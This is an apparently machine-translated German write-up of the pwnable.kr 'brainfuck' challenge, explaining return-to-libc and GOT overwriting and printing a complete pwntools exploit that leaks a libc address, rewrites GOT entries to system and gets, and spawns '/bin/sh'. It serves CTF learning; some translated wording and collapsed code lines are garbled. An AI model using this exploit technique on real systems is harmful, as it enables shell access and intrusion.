Problemlösung mit pwnable.kr 22 - Brainfuck. Ret2libc-Angriff

Bild

In diesem Artikel lösen wir die 22. Aufgabe auf der Website pwnable.kr und ermitteln die Kategorie der Angriffe, bei denen die Adresse im GOT in die Adresse der von uns benötigten Funktion aus der Bibliothek umgeschrieben wird .

Organisationsinformationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:

  • PWN;
  • Kryptographie (Krypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Kanal und eine Gruppe eingerichtet, um alle Probleme im Bereich ICD zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen persönlich prüfen und alle beantworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.

Kehren Sie zum Bibliotheksangriff zurück


Die Rückkehr zum Bibliotheksangriff (Return-to-libc-Angriff) ist eine der Arten von Computerangriffen, die mit Pufferüberläufen verbunden sind, wenn die Rücksprungadresse einer Funktion auf dem Stapel durch die Adresse einer anderen Funktion im Programm ersetzt wird und die Parameter für die aufgerufene Funktion in den nächsten Teil des Stapels geschrieben werden. Mit dieser Technik kann ein Angreifer alle in der Bibliothek vorhandenen Funktionen ausführen, ohne dass schädlicher Code in das Programm eingefügt werden muss.

Linux verfügt über eine gemeinsam genutzte libc-Bibliothek, die C- und POSIX-Standardfunktionen wie system () zum Ausführen beliebiger Befehle bereitstellt. Ähnliche Bibliotheken gibt es in der Windows-Betriebssystemfamilie. Obwohl ein Angreifer ein Programm zwingen kann, zu einer beliebigen Adresse zu springen, verwenden die meisten Programme libc (damit verbunden), es verfügt über praktische Funktionen zum Starten beliebiger Befehle. Daher sind die Funktionen der Standardbibliothek das wahrscheinlichste Ziel solcher Exploits, die der Angriffsklasse den Namen gaben.

Lösung für die Horkrux-Quest


Wir beginnen den zweiten Abschnitt. Ich werde gleich sagen, dass es schwieriger ist als das erste und wir nicht mit dem Quellcode der Anwendungen versorgt werden. Vergessen Sie nicht die Diskussion hier . Fangen wir an.

Klicken Sie auf das Symbol mit der Signatur Gehirnfick. Sie geben uns die Adresse und den Port für die Verbindung, das Programm selbst, die libc-Bibliothek dafür und erklären, dass es sich um einen Brainfuck- Sprachemulator handelt.

Bild

Laden Sie alles herunter, was sie uns geben, überprüfen Sie die Binärdatei. Dies ist ein 32-Bit-Elf, daher dekompilieren wir das Programm in IDA Pro.

Bild

Es gibt keine Schwachstellen in der Hauptfunktion. Die Speicherzuordnung und die Anzahl der in die Variable s eingegebenen Zeichen wird gesteuert. Zuvor wird der p-Zeiger initialisiert. Werfen wir einen Blick auf die Brainfuck-Funktion.

Bild

Diese Funktion wird für jedes Zeichen der von uns eingegebenen Zeichenfolge verwendet. Es enthält je nach Charakter eine Abfolge von Aktionen. Ein vollständiger Befehlssatz sieht folgendermaßen aus:

  • +: addiere eins zu dem Wert bei p;
  • ,: nimmt ein anderes Zeichen von der Standardeingabe und nimmt es bei p;
  • -: subtrahiert eins vom Wert bei p;
  • .: zeigt das Zeichen an der Adresse p an;
  • <: subtrahiert von p;
  • >: fügt zu p hinzu.

Bild

Die Lösung unserer Aufgabe erfolgt also durch Manipulieren des Zeigers p. Finden Sie die Startadresse. In der Hauptfunktion wird die Adresse des variablen Bandes in p eingegeben, dh 0x804a0a0.

Bild

Gleichzeitig befindet sich der Abschnitt got.plt unter 0x804a000, die Adressen der verwendeten Funktionen werden in der libc-Bibliothek gespeichert. Über GOT und PLT habe ich hier bereits geschrieben.

Bild

Da wir durch Manipulieren des Zeigers p zu GOT gelangen können, können wir einen Angriff wie ret2libc implementieren. Dazu müssen wir die Adresse der verwendeten Funktion in die Adresse der Funktion system () von libc umschreiben (wir haben sogar eine Bibliothek erhalten).

Somit entsteht der folgende Angriffsvektor:

  1. Schreiben Sie die Adress-Fgets in die Adresse der Systemfunktion um.
  2. Schreiben Sie die Memset-Adresse neu, um sie abzurufen.
  3. Schreiben Sie die Putchar-Adresse in main um.

Was wird daraus: Nach Abschluss der oben angegebenen Schritte wird beim Aufruf der Putchar-Funktion die Hauptfunktion aufgerufen, die get anstelle von memset aufruft und die Zeichenfolge liest, die wir in den Stapel eingegeben haben. Danach wird anstelle von fgets ein System aufgerufen, das ein Argument aus dem Stapel (dh der von uns eingegebenen Zeile) auslöst.

Lassen Sie uns dies implementieren. Erstellen Sie zunächst eine Vorlage, die die Adressen des Zeigers und der Funktionen enthält:

from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671 

Jetzt schreiben wir eine Funktion, die den Zeiger auf die Anzahl der benötigten Schritte bewegt:

 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) 

Eine Funktion, die 4 Bytes liest:

 def readVar(): return ".>"*4 + "<"*4 

Eine Funktion, die 4 Bytes akzeptiert und schreibt:

 def writeVar(): return ",>"*4 + "<"*4 

Jetzt schreiben wir die Last. Es ist einfach - wir gehen zur fgets-Adresse, lesen (später werde ich sagen warum), schreiben um ... Wir gehen zur Memset-Adresse - wir schreiben um, wir gehen zur putchar-Adresse - wir schreiben um. Alles ist wie in der Idee.

 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' 

Warum also die Adresse von fgets lesen? Da dies got.plt ist, lesen wir die Adresse von fgets in die zugehörige libc-Bibliothek. Da wir nur eine libc-Bibliothek haben (nicht verwandt) und dann die Adresse derselben Funktion in einer nicht verwandten Bibliothek von der Adresse der Funktion in der verknüpften Bibliothek subtrahieren, bestimmen wir die Basis, dh die Adresse, von der aus die Bibliothek durch die m-Datei verknüpft wird (den Anfang des Bibliothekscodes). Wenn Sie dann den Offset einer Funktion in einer nicht verwandten Bibliothek zur Datenbank hinzufügen, erhalten Sie die Adresse dieser Funktion in einer bereits verbundenen. Das heißt, wir werden eine Funktion aus der Binärdatei aufrufen, die nicht einmal definiert wurde ...

Diese Last gibt uns also die Adresse der Funktion in der verknüpften Bibliothek. Lassen Sie uns ihre Adresse in unverbundenen finden.

 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] 

Angesichts der Antworten des Servers finden wir nun die Datenbank.

 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) 

Jetzt erhalten wir die Adressen anderer Funktionen unter Berücksichtigung der Basis.

 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] 

Und wir verwirklichen unsere Idee.

 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 

Vollständiger Code
 from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 


Bild

Wir bekommen das gewünschte Flag und starten den zweiten Teil der Aufgaben auf pwnable.kr.

Bild

Sie können sich uns per Telegramm anschließen . Das nächste Mal werden wir uns mit dem Heap-Überlauf befassen.

Source: https://habr.com/ru/post/de466109/


All Articles